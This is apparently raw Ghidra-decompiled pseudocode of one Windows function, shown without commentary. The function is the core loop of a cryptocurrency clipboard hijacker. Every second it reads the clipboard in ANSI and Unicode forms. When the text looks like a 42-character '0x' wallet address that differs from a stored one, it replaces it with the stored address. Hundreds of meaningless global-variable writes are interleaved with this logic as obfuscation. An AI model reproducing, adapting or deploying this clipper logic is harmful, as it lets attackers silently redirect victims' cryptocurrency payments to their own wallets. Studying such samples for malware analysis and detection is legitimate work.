// DECOMPILED BY GHIDRA 10.4 /* WARNING: Removing unreachable block (ram,0x00401b3d) */ /* WARNING: Globals starting with '_' overlap smaller symbols at the same address */ undefined4 FUN_00401175(void) { bool bVar1; BOOL BVar2; char *_Str; size_t sVar3; int iVar4; HGLOBAL pvVar5; LPVOID pvVar6; HANDLE pvVar7; wchar_t *_Str1; uint uVar8; DAT_00415a3d._3_1_ = 0x82; DAT_00415a41 = 6; uRam00415a42 = 0xe2e6; DAT_00415a00._0_2_ = 0xc0e4; DAT_00415a00._2_2_ = 0x7c64; DAT_004159d9 = 0x12; _DAT_004159da = 0x7a16; DAT_004159dc = 0xe8; FUN_00401000(); LAB_004011a4: do { while( true ) { _DAT_004159a1 = 0x6278; DAT_004159a3 = 0x7c; uRam004159a4 = 0xc0; DAT_00415a66._0_2_ = 0x4228; DAT_00415a66._2_1_ = 0x9e; DAT_00415a66._3_1_ = 0x24; DAT_0041598d._3_1_ = 0x2a; DAT_00415991._0_1_ = 0x92; DAT_00415991._1_2_ = 0xae18; DAT_00415995._2_2_ = 0x1086; uRam00415999 = 0x5a92; DAT_00415a1f._2_1_ = 0xbc; DAT_00415a1f._3_1_ = 0x16; DAT_00415a23 = 0xba; DAT_00415a24._0_1_ = 0xe8; BVar2 = OpenClipboard((HWND)0x0); DAT_00415a5b._0_1_ = 0x9a; DAT_00415a5b._1_1_ = 0x6e; DAT_00415a5b._2_1_ = 0x76; DAT_00415a5b._3_1_ = 0x84; DAT_00415a66._2_1_ = 0xa8; DAT_00415a66._3_1_ = 0x3c; DAT_00415a6a._0_2_ = 0x298; if (BVar2 != 0) break; LAB_00401ae3: DAT_00415a23 = 0x70; DAT_00415a24._0_1_ = 0xac; DAT_004158f4 = DAT_004158f4 + 1; DAT_004159c8._2_1_ = 0x1e; DAT_004159c8._3_1_ = 0x3e; DAT_004159cc._0_1_ = 0xcc; DAT_004159cc._1_1_ = 0x9c; DAT_00415a3d._1_2_ = 0xdcc4; DAT_00415a3d._3_1_ = 0x62; DAT_00415a41 = 0x5a; DAT_00415a1f._0_1_ = 0xc; DAT_00415a1f._1_1_ = 0xd2; DAT_00415a1f._2_1_ = 0x60; DAT_00415a1f._3_1_ = 0x74; Sleep(1000); DAT_004159b3._2_1_ = 0xe0; DAT_004159b3._3_1_ = 0x5c; uRam004159b7 = 0x5652; } DAT_00415a31._2_1_ = 0x2a; DAT_00415a31._3_1_ = 0x36; uRam00415a35 = 0xde1a; bVar1 = false; DAT_004159d1._0_1_ = 0xcc; DAT_004159d1._1_1_ = 0xbc; DAT_004159d1._2_2_ = 0x101e; DAT_004159ba = CONCAT31(0x62c0,(undefined)DAT_004159ba); DAT_004159be = 0x8a; _Str = (char *)GetClipboardData(1); DAT_00415a5b._3_1_ = 0x8a; uRam00415a5f = 0x32; DAT_00415a60._0_1_ = 0xce; DAT_00415a60._1_1_ = 0xee; DAT_00415a09._2_1_ = 0xe; DAT_00415a09._3_1_ = 0xe8; uRam00415a0d = 0xa2; DAT_00415a0e = 0x48; DAT_00415a4a._0_1_ = 0xa4; DAT_00415a4a._1_1_ = 0xe0; DAT_00415a4a._2_2_ = 0x6288; if (_Str != (char *)0x0) { DAT_004159c8._0_1_ = 0x54; DAT_004159c8._1_1_ = 4; DAT_004159c8._2_1_ = 0x12; DAT_004159c8._3_1_ = 0x2e; DAT_00415a19._1_2_ = 0xa32; DAT_00415a19._3_1_ = 0x92; uRam00415a1d = 0x42; _DAT_00415a28 = CONCAT13(0xb8,_DAT_00415a28); ram0x00415a2c = CONCAT13(DAT_00415a2b_4,0xc0f254); DAT_00415a52._3_1_ = 10; uRam00415a56 = 0xc0; uRam00415a57 = 0xf8; DAT_00415a58 = 0xae; DAT_004159c4 = 0x40; DAT_004159c5 = 0x36; DAT_004159c6 = 0x74; DAT_004159c7 = 0x46; sVar3 = _strlen(_Str); DAT_00415a31._0_2_ = 0x5a5a; DAT_00415a31._2_1_ = 0x16; DAT_00415a31._3_1_ = 0xca; DAT_00415a19._1_2_ = 0x8e9e; DAT_00415a19._3_1_ = 0x86; uRam00415a1d = 0x1c; DAT_004159d1._2_2_ = 2; DAT_004159d5 = 0x56; uRam004159d6 = 0xd8; if (sVar3 == 0x2a) { _DAT_00415a38 = CONCAT31(0x62be7e,DAT_00415a38); DAT_00415a39._3_1_ = 0x44; DAT_004159dd._0_1_ = 0x38; DAT_004159dd._1_2_ = 0x68ca; DAT_004159dd._3_1_ = 0xca; DAT_00415a4e._0_1_ = 0x44; DAT_00415a4e._1_2_ = 0xead8; DAT_00415a4e._3_1_ = 0xe; DAT_004159b3._3_1_ = 0xec; uRam004159b7 = 0x3a16; uRam004159b9 = 0xae; DAT_00415a1f._1_1_ = 0xd6; DAT_00415a1f._2_1_ = 0x5c; DAT_00415a1f._3_1_ = 0xa4; DAT_00415a23 = 0x1e; DAT_00415a52._1_2_ = 0x22a0; DAT_00415a52._3_1_ = 2; uRam00415a56 = 0xfa; if (*_Str == '0') { DAT_00415981._2_1_ = 0xfc; DAT_00415981._3_1_ = 0x42; DAT_00415985._0_1_ = 0x7e; DAT_00415985._1_1_ = 0xf8; DAT_004159f7._1_1_ = 0x9a; DAT_004159f7._2_1_ = 0xba; DAT_004159f7._3_1_ = 0xfc; _DAT_004159fb = CONCAT31(DAT_004159fb_1,0xcc); DAT_00415a09._0_1_ = 0x22; DAT_00415a09._1_1_ = 0x1c; DAT_00415a09._2_1_ = 0x8a; DAT_00415a09._3_1_ = 0x42; DAT_00415a23 = 0x7e; DAT_00415a24._0_1_ = 0x5e; DAT_00415a24._1_2_ = 0x4c12; DAT_0041598d._0_1_ = 0x6e; DAT_0041598d._1_1_ = 0x52; DAT_0041598d._2_1_ = 0xee; DAT_0041598d._3_1_ = 0x80; DAT_00415995._2_2_ = 0xac48; uRam00415999 = 0x642a; DAT_00415a65 = 0xca; DAT_00415a66._0_2_ = 0x4a06; DAT_00415a66._2_1_ = 0xba; if ((byte)(_Str[1] | 0x20U) == 0x78) { DAT_00415a30 = 0x12; DAT_00415a31._0_2_ = 0x322c; DAT_00415a31._2_1_ = 0xac; DAT_00415a45._2_1_ = 0x60; DAT_00415a45._3_1_ = 0x8e; uRam00415a49 = 0x1a; DAT_00415a4a._0_1_ = 0xac; DAT_00415a04._1_1_ = 0xae; DAT_00415a04._2_2_ = 0x2c0a; uRam00415a08 = 0x40; _DAT_00415a28 = 0x2cc0f858; DAT_004159e5._1_2_ = 0x25e; DAT_004159e5._3_1_ = 0xe2; DAT_004159e9._0_1_ = 0xea; DAT_004159e1 = 0x403c1e82; iVar4 = _strcmp(_Str,&DAT_004158fc); DAT_004159f3._0_2_ = 0xd09a; DAT_004159f3._2_1_ = 0xd6; DAT_004159f3._3_1_ = 0xbc; DAT_00415989._0_1_ = 0xca; DAT_00415989._1_1_ = 0x84; DAT_00415989._2_1_ = 0x58; DAT_00415989._3_1_ = 0x8a; DAT_00415a41 = 0xd6; uRam00415a42 = 0x48; uRam00415a44 = 0xf4; if (iVar4 != 0) { DAT_004159c7 = 0x4c; DAT_004159c8._0_1_ = 0x2a; DAT_004159c8._1_1_ = 100; DAT_004159c8._2_1_ = 0xac; DAT_00415a58 = 100; DAT_00415a59 = 0xe4; DAT_00415a5a = 0xfe; DAT_00415a5b._0_1_ = 0x9e; _DAT_0041597e = 0x3088; DAT_00415980 = 0x36; DAT_00415981._0_1_ = 0x98; DAT_004159a6 = 0x50; DAT_004159a7._0_1_ = 0x5c; DAT_004159a7._1_2_ = 0x3c4a; DAT_004159dd._1_2_ = 0xb206; DAT_004159dd._3_1_ = 0xe0; DAT_004159e1 = 0xbe9cc4de; DAT_00415a5b._2_1_ = 0xee; DAT_00415a5b._3_1_ = 0xc0; uRam00415a5f = 0xf8; DAT_004159c0._0_2_ = 0x9056; DAT_004159c0._2_1_ = 0x96; DAT_004159c0._3_1_ = 0xb2; DAT_00415a60._0_1_ = 0x3e; DAT_00415a60._1_1_ = 0x72; DAT_00415a60._2_2_ = 0xc066; DAT_004159d1._0_1_ = 0xe4; DAT_004159d1._1_1_ = 0x3e; DAT_004159d1._2_2_ = 0x7686; DAT_00415a09._1_1_ = 0x2c; DAT_00415a09._2_1_ = 0xee; DAT_00415a09._3_1_ = 0xbc; uRam00415a0d = 0xb8; if (((_Str[4] + '\x01') * _Str[4] & 1U) != 0) { _DAT_00415a28 = CONCAT13(0x52,_DAT_00415a28); ram0x00415a2c = CONCAT13(DAT_00415a2b_4,0x6ae04c); goto LAB_004011a4; } DAT_00415981._0_1_ = 0x14; DAT_00415981._1_1_ = 100; DAT_00415981._2_1_ = 8; DAT_00415981._3_1_ = 0x18; DAT_00415a24._0_1_ = 0x4e; DAT_00415a24._1_2_ = 0x6a22; DAT_00415a24._3_1_ = 0x4c; DAT_00415995._2_2_ = 0xa214; uRam00415999 = 0xec3a; pvVar5 = GlobalAlloc(0x42,0x2b); DAT_004159c4 = 0xc0; DAT_0041599d._3_1_ = 0xf2; _DAT_004159a1 = 0x1ad4; DAT_004159a3 = 0xa4; DAT_004159c5 = 0x26; DAT_004159c6 = 0xd8; DAT_004159c7 = 0xea; DAT_004159c8._0_1_ = 0xd8; DAT_004159b2 = 0xfe; DAT_004159b3._0_2_ = 0x54cc; DAT_004159b3._2_1_ = 0xae; pvVar6 = GlobalLock(pvVar5); _DAT_00415a6e = 0xc046; uRam00415a70 = 0xd874; DAT_00415a19._0_1_ = 0x86; DAT_00415a19._1_2_ = 0xc4ca; DAT_00415a19._3_1_ = 0xa6; DAT_00415a65 = 0x58; DAT_00415a66._0_2_ = 0x7808; DAT_00415a66._2_1_ = 0x6e; DAT_004159b3._0_2_ = 0x4c52; DAT_004159b3._2_1_ = 0x80; DAT_004159b3._3_1_ = 0x4a; DAT_004159c0._3_1_ = 0x84; DAT_004159c4 = 0x40; DAT_004159c5 = 0x5a; DAT_004159c6 = 0x54; DAT_00415995._0_1_ = 0xf2; DAT_00415995._1_1_ = 0x94; DAT_00415995._2_2_ = 0x9eda; DAT_004159a7._0_1_ = 0x76; DAT_004159a7._1_2_ = 0x5c0e; DAT_004159a7._3_1_ = 0x94; FID_conflict__memcpy(pvVar6,&DAT_004158fc,0x2a); DAT_0041599d._2_1_ = 0xbc; DAT_0041599d._3_1_ = 0xb8; _DAT_004159a1 = 0x4a1c; DAT_004159ba = CONCAT31(0xa80ec,(undefined)DAT_004159ba); DAT_004159be = 0xee; DAT_00415a59 = 0xe6; DAT_00415a5a = 0x10; DAT_00415a5b._0_1_ = 0x24; DAT_00415a5b._1_1_ = 0x12; DAT_004159c8._2_1_ = 0; DAT_004159c8._3_1_ = 0x32; DAT_004159cc._0_1_ = 0x2a; DAT_004159cc._1_1_ = 0x6a; GlobalUnlock(pvVar5); DAT_004159f7._0_1_ = 0x6a; DAT_004159f7._1_1_ = 0xc4; DAT_004159f7._2_1_ = 0xf4; DAT_004159f7._3_1_ = 0xce; _DAT_0041599b = 0xac4c; DAT_0041599d._0_2_ = 0xb218; DAT_004159c8._3_1_ = 0xda; DAT_004159cc._0_1_ = 0x3e; DAT_004159cc._1_1_ = 0x82; DAT_004159cc._2_1_ = 0x90; DAT_0041598d._1_1_ = 0xe2; DAT_0041598d._2_1_ = 0x2e; DAT_0041598d._3_1_ = 0xca; DAT_00415991._0_1_ = 0xce; pvVar7 = SetClipboardData(1,pvVar5); DAT_0041598d._0_1_ = 0x68; DAT_0041598d._1_1_ = 8; DAT_0041598d._2_1_ = 0x82; DAT_0041598d._3_1_ = 0x62; DAT_00415a09._3_1_ = 0xa6; uRam00415a0d = 0x6c; DAT_00415a0e = 0xdc; DAT_00415a0f._0_1_ = 0x84; if (pvVar7 != (HANDLE)0x0) { DAT_00415a45._2_1_ = 0xe8; DAT_00415a45._3_1_ = 0xc4; uRam00415a49 = 0xe6; DAT_00415a4a._0_1_ = 0xac; DAT_004159dd._1_2_ = 0xfec4; DAT_004158f8 = DAT_004158f8 + 1; DAT_004159b2 = 0xe6; DAT_004159b1 = 0x98; uRam004159ab = 0x6e; DAT_004159a7._3_1_ = 100; DAT_004159a7._1_2_ = 0x8042; DAT_00415991._0_1_ = 0x86; DAT_0041598d._3_1_ = 0x9a; DAT_0041598d._2_1_ = 0xda; DAT_0041598d._1_1_ = 0xd2; DAT_004159b3._0_2_ = 0x64be; DAT_004159b3._2_1_ = 0x18; DAT_004159b3._3_1_ = 0xa4; bVar1 = true; } } } } } } DAT_004159a3 = 0xee; uRam004159a4 = 2; uRam004159a5 = 200; DAT_004159a6 = 0x1a; _DAT_004159da = 0xd874; DAT_004159dc = 0xbc; DAT_004159dd._0_1_ = 0x26; _Str1 = (wchar_t *)GetClipboardData(0xd); DAT_00415a0e = 200; DAT_00415a0f._0_1_ = 0xda; DAT_00415a0f._1_2_ = 0xae0e; _DAT_00415a28 = CONCAT13(0x98,_DAT_00415a28); ram0x00415a2c = CONCAT13(DAT_00415a2b_4,0x380082); DAT_00415a3d._0_1_ = 2; DAT_00415a3d._1_2_ = 0x2464; DAT_00415a3d._3_1_ = 0xe6; if (_Str1 == (wchar_t *)0x0) { LAB_004019f6: DAT_004159e5._0_1_ = 0x52; DAT_004159e5._1_2_ = 0x5248; DAT_004159e5._3_1_ = 0x46; DAT_00415a0f._0_1_ = 0x74; DAT_00415a0f._1_2_ = 0xf8c0; DAT_00415a0f._3_1_ = 0xa0; if (bVar1) { DAT_00415a30 = 8; DAT_00415a31._0_2_ = 0xda42; DAT_00415a31._2_1_ = 0x1e; DAT_004159f3._2_1_ = 0x52; DAT_004159f3._3_1_ = 0xfa; DAT_004159f7._0_1_ = 0x56; DAT_004159f7._1_1_ = 0x5a; DAT_004159f7._2_1_ = 10; DAT_004159f7._3_1_ = 0xbe; _DAT_004159fb = 0x50783032; DAT_004159ef = 0x4cd8ee24; DAT_00415989._2_1_ = 0x6a; DAT_00415989._3_1_ = 6; DAT_0041598d._0_1_ = 0x38; DAT_0041598d._1_1_ = 0x36; DAT_004159e1 = CONCAT31(0xfae808,(undefined)DAT_004159e1); DAT_004159e5._0_1_ = 0xdc; DAT_00415a6a._0_2_ = 0x14ae; DAT_00415a6a._2_2_ = 0xaa44; if (((((uint)_Str1 & 0xff) + 1) * ((uint)_Str1 & 0xff) & 1) != 0) { DAT_00415985._3_1_ = 0xba; DAT_00415989._0_1_ = 0xf8; DAT_00415989._1_1_ = 0x94; DAT_00415989._2_1_ = 0xe6; DAT_004159ef = 0x4cd8ee24; _DAT_004159fb = 0x50783032; goto LAB_004011a4; } DAT_00415a0f._1_2_ = 0x64fa; DAT_00415a0f._3_1_ = 0xb4; uRam00415a13 = 0x48; DAT_004159f3._0_2_ = 0x6e48; DAT_004159f3._2_1_ = 0x62; DAT_004159f3._3_1_ = 0xb6; DAT_004159d1._1_1_ = 0x78; DAT_004159d1._2_2_ = 0x6cde; DAT_004159d5 = 0x6e; SetClipboardData(7,(HANDLE)0x0); DAT_00415a04._0_1_ = 0x24; DAT_00415a04._1_1_ = 0x12; DAT_00415a04._2_2_ = 0x50ea; DAT_004159ef = 0xfac49e92; DAT_004159e1 = 0xbad2106a; SetClipboardData(0x10,(HANDLE)0x0); } DAT_00415a14._0_2_ = 0x5c42; DAT_00415a14._2_2_ = 0xb4c2; CloseClipboard(); goto LAB_00401ae3; } DAT_00415a04._2_2_ = 0xc8be; DAT_004159c8._1_1_ = 0x70; DAT_004159c8._2_1_ = 0x2e; DAT_004159c8._3_1_ = 0x9a; DAT_004159cc._0_1_ = 0xce; DAT_00415a00._2_2_ = 0x26f6; DAT_00415a04._0_1_ = 0x16; DAT_00415a04._1_1_ = 10; DAT_00415985._3_1_ = 0xf0; DAT_00415989._0_1_ = 0x2c; DAT_00415989._1_1_ = 0xea; DAT_00415989._2_1_ = 0x4c; DAT_004159d1._1_1_ = 0x52; DAT_004159d1._2_2_ = 0xa4b2; DAT_004159d5 = 0xdc; uVar8 = FUN_00404a40(_Str1); DAT_004159dd._0_1_ = 0xf4; DAT_004159dd._1_2_ = 0x46a8; DAT_004159dd._3_1_ = 0x80; DAT_00415985._1_1_ = 0x88; DAT_00415985._2_1_ = 0x4e; DAT_00415985._3_1_ = 0xe8; DAT_00415989._0_1_ = 0x92; DAT_00415a3d._3_1_ = 0xb8; DAT_00415a41 = 0xa8; uRam00415a42 = 0xc02e; if (uVar8 != 0x2a) goto LAB_004019f6; DAT_00415a64 = 0xc6; DAT_00415a65 = 200; DAT_00415a66._0_2_ = 0x983e; DAT_00415a19._0_1_ = 0xce; DAT_00415a19._1_2_ = 0x1c8c; DAT_00415a19._3_1_ = 0x96; DAT_00415a60._0_1_ = 0xea; DAT_00415a60._1_1_ = 0x82; DAT_00415a60._2_2_ = 0x2e94; DAT_004159bf = 0xca; DAT_004159c0._0_2_ = 0x2ae4; DAT_004159c0._2_1_ = 0x54; DAT_00415a4e._3_1_ = 0xaa; DAT_00415a52._0_1_ = 0x7a; DAT_00415a52._1_2_ = 0x6876; DAT_004159a7._0_1_ = 0xd0; DAT_004159a7._1_2_ = 0x9818; DAT_004159a7._3_1_ = 0x20; if (*_Str1 != L'0') goto LAB_004019f6; DAT_00415a52._0_1_ = 0xbc; DAT_00415a52._1_2_ = 0x82a2; DAT_00415a52._3_1_ = 0x54; DAT_004159e5._3_1_ = 0x9c; DAT_004159e9._0_1_ = 0x56; DAT_004159e9._1_2_ = 0x2412; DAT_00415991._1_2_ = 0xc278; DAT_00415991._3_1_ = 0x98; DAT_00415995._0_1_ = 0xfc; DAT_00415a19._1_2_ = 0xec2; DAT_00415995._2_2_ = 0x884; uRam00415999 = 0x26c0; DAT_00415a19._3_1_ = 0xc4; uRam00415a1d = 0xda; DAT_00415a1e = 0xea; DAT_00415a1f._0_1_ = 0x52; if (_Str1[1] != L'x') goto LAB_004019f6; DAT_00415a24._0_1_ = 0x9e; DAT_00415a24._1_2_ = 0xbe3a; DAT_00415a24._3_1_ = 0x58; DAT_00415a45._0_2_ = 0x9624; DAT_00415a45._2_1_ = 0x84; DAT_00415a45._3_1_ = 0x7c; DAT_00415a31._0_2_ = 0xd894; DAT_00415a31._2_1_ = 0x3c; DAT_00415a31._3_1_ = 0x9e; DAT_00415a4a._0_1_ = 0xca; DAT_00415a4a._1_1_ = 0x70; DAT_00415a4a._2_2_ = 0xfeee; DAT_004159ef = 0x30c22222; DAT_00415991._0_1_ = 0xd4; DAT_00415991._1_2_ = 0xdc04; DAT_00415991._3_1_ = 0xf4; DAT_004159bf = 0x8a; DAT_004159c0._0_2_ = 0xac9c; DAT_004159c0._2_1_ = 0xe6; DAT_00415a0f._0_1_ = 200; DAT_00415a0f._1_2_ = 0x4a6c; DAT_00415a0f._3_1_ = 0x36; DAT_00415a4e._1_2_ = 0xf482; DAT_00415a4e._3_1_ = 0x10; DAT_00415a52._0_1_ = 0x86; _DAT_0041599b = 0xf6ae; DAT_0041599d._0_2_ = 0x244a; DAT_00415a6a._0_2_ = 0xdaaa; DAT_00415a6a._2_2_ = 0x1ad0; if ((((_Str1[6] & 0xffU) + 1U) * (_Str1[6] & 0xffU) & 1U) == 0) { DAT_00415a45._3_1_ = 0x74; uRam00415a49 = 0x26; DAT_00415a4a._0_1_ = 0x5c; DAT_00415a4a._1_1_ = 0x72; DAT_00415985._0_1_ = 0xbe; DAT_00415985._1_1_ = 0x78; DAT_00415985._2_1_ = 0xa8; DAT_00415985._3_1_ = 0x40; DAT_0041599d._0_2_ = 0x48d6; DAT_0041599d._2_1_ = 0x84; DAT_0041599d._3_1_ = 6; DAT_00415980 = 0x38; DAT_00415981._0_1_ = 0x3a; DAT_00415981._1_1_ = 0xa4; DAT_00415981._2_1_ = 0x5c; DAT_004159b3._0_2_ = 0xd0ae; DAT_004159b3._2_1_ = 0xd2; DAT_004159b3._3_1_ = 0; _DAT_00415a38 = CONCAT31(0xd6d802,DAT_00415a38); DAT_00415a39._3_1_ = 0; iVar4 = _wcscmp(_Str1,&DAT_00415928); DAT_00415a6a._2_2_ = 0x548e; _DAT_00415a6e = 0x9ad6; DAT_004159ef = CONCAT13(0xa0,(undefined3)DAT_004159ef); DAT_004159f3._0_2_ = 0xc4a8; DAT_004159f3._2_1_ = 0x1c; DAT_004159c0._0_2_ = 0x2c6; DAT_004159c0._2_1_ = 0x52; DAT_004159c0._3_1_ = 0x20; if (iVar4 != 0) { DAT_004159d5 = 0xe8; uRam004159d6 = 0x4a; DAT_004159d1._0_1_ = 0xbc; DAT_004159d1._1_1_ = 0x16; DAT_004159d1._2_2_ = 0xfe32; DAT_00415a0f._3_1_ = 0xfe; uRam00415a13 = 0x84; DAT_00415a14._0_2_ = 0x4ec8; pvVar5 = GlobalAlloc(0x42,0x56); DAT_00415a4a._1_1_ = 0x16; DAT_00415a4a._2_2_ = 0xa90; DAT_00415a4e._0_1_ = 0x38; DAT_004159ba = 0xc03e66ae; DAT_004159e9._0_1_ = 0x7a; DAT_004159e9._1_2_ = 0xc62e; DAT_004159e9._3_1_ = 0xa8; DAT_00415981._2_1_ = 0x58; DAT_00415981._3_1_ = 0x26; DAT_00415985._0_1_ = 0xd0; DAT_00415985._1_1_ = 100; pvVar6 = GlobalLock(pvVar5); DAT_004159e9._0_1_ = 0x8c; DAT_004159e9._1_2_ = 0x2850; DAT_004159e9._3_1_ = 0xec; DAT_004159c8._2_1_ = 0xdc; DAT_004159c8._3_1_ = 0x34; DAT_004159cc._0_1_ = 0x10; DAT_004159cc._1_1_ = 0xa2; DAT_004159ef = 0xa0fcccf0; DAT_00415989._3_1_ = 0xd6; DAT_0041598d._0_1_ = 0xd4; DAT_0041598d._1_1_ = 0x5c; DAT_0041598d._2_1_ = 0x60; _DAT_00415a38 = 0xe6b820da; DAT_004159dd._0_1_ = 0x1e; DAT_004159dd._1_2_ = 0x8c16; DAT_004159dd._3_1_ = 0x78; DAT_004159c4 = 0xe0; DAT_004159c5 = 0x76; DAT_004159c6 = 0xdc; DAT_004159c7 = 0xb2; FID_conflict__memcpy(pvVar6,&DAT_00415928,0x54); DAT_004159e9._0_1_ = 0xea; DAT_004159e9._1_2_ = 0x84f8; DAT_004159e9._3_1_ = 0x6e; DAT_004159d5 = 0x96; uRam004159d6 = 0x4c; uRam004159d7 = 0x247e; DAT_00415a1f._2_1_ = 0x18; DAT_00415a1f._3_1_ = 0xd2; DAT_00415a23 = 0x24; DAT_00415a24._0_1_ = 0x16; DAT_004159c8._1_1_ = 0xf8; DAT_004159c8._2_1_ = 0x1e; DAT_004159c8._3_1_ = 0xf0; DAT_004159cc._0_1_ = 0xb2; GlobalUnlock(pvVar5); DAT_004159b3._2_1_ = 0xba; DAT_004159b3._3_1_ = 0x6e; uRam004159b7 = 0x4c6e; DAT_004159c8._3_1_ = 0x4a; DAT_004159cc._0_1_ = 0x1a; DAT_004159cc._1_1_ = 0xfe; DAT_004159cc._2_1_ = 0x26; DAT_004159f3._3_1_ = 0x5e; DAT_004159f7._0_1_ = 0xba; DAT_004159f7._1_1_ = 0xfe; DAT_004159f7._2_1_ = 0xf4; DAT_004159e5._0_1_ = 0x8e; DAT_004159e5._1_2_ = 0xe86a; DAT_004159e5._3_1_ = 0xfa; pvVar7 = SetClipboardData(0xd,pvVar5); DAT_00415985._3_1_ = 0x24; DAT_00415989._0_1_ = 0x98; DAT_00415989._1_1_ = 0x10; DAT_00415989._2_1_ = 0; DAT_00415a60._1_1_ = 0xe6; DAT_00415a60._2_2_ = 0x6ea6; DAT_00415a64 = 100; if (pvVar7 != (HANDLE)0x0) { DAT_004159be = 0xb8; DAT_004159bf = 0x14; DAT_004159c0._0_2_ = 0x5a94; DAT_00415a66._0_2_ = 0x8ca8; DAT_00415a66._2_1_ = 0xd2; DAT_00415a66._3_1_ = 0x14; if (!bVar1) { DAT_004159cc._0_1_ = 0xe2; DAT_004159cc._1_1_ = 0x8a; DAT_004159cc._2_1_ = 0x9c; DAT_004159cc._3_1_ = 0x88; DAT_00415a5a = 0x84; DAT_00415a5b._0_1_ = 0xb8; DAT_00415a5b._1_1_ = 0xde; DAT_00415a5b._2_1_ = 0x28; DAT_004158f8 = DAT_004158f8 + 1; DAT_004159c6 = 0x1e; DAT_004159c7 = 0xd8; DAT_004159c8._0_1_ = 0x12; DAT_004159c8._1_1_ = 0x84; } DAT_00415a1e = 0x26; DAT_00415a1f._0_1_ = 0x5c; DAT_00415a1f._1_1_ = 0xf4; DAT_00415a1f._2_1_ = 0x1a; bVar1 = true; } } goto LAB_004019f6; } DAT_004159e5._3_1_ = 0x1e; DAT_004159e9._0_1_ = 0xfc; DAT_004159e9._1_2_ = 0xc618; } while( true ); }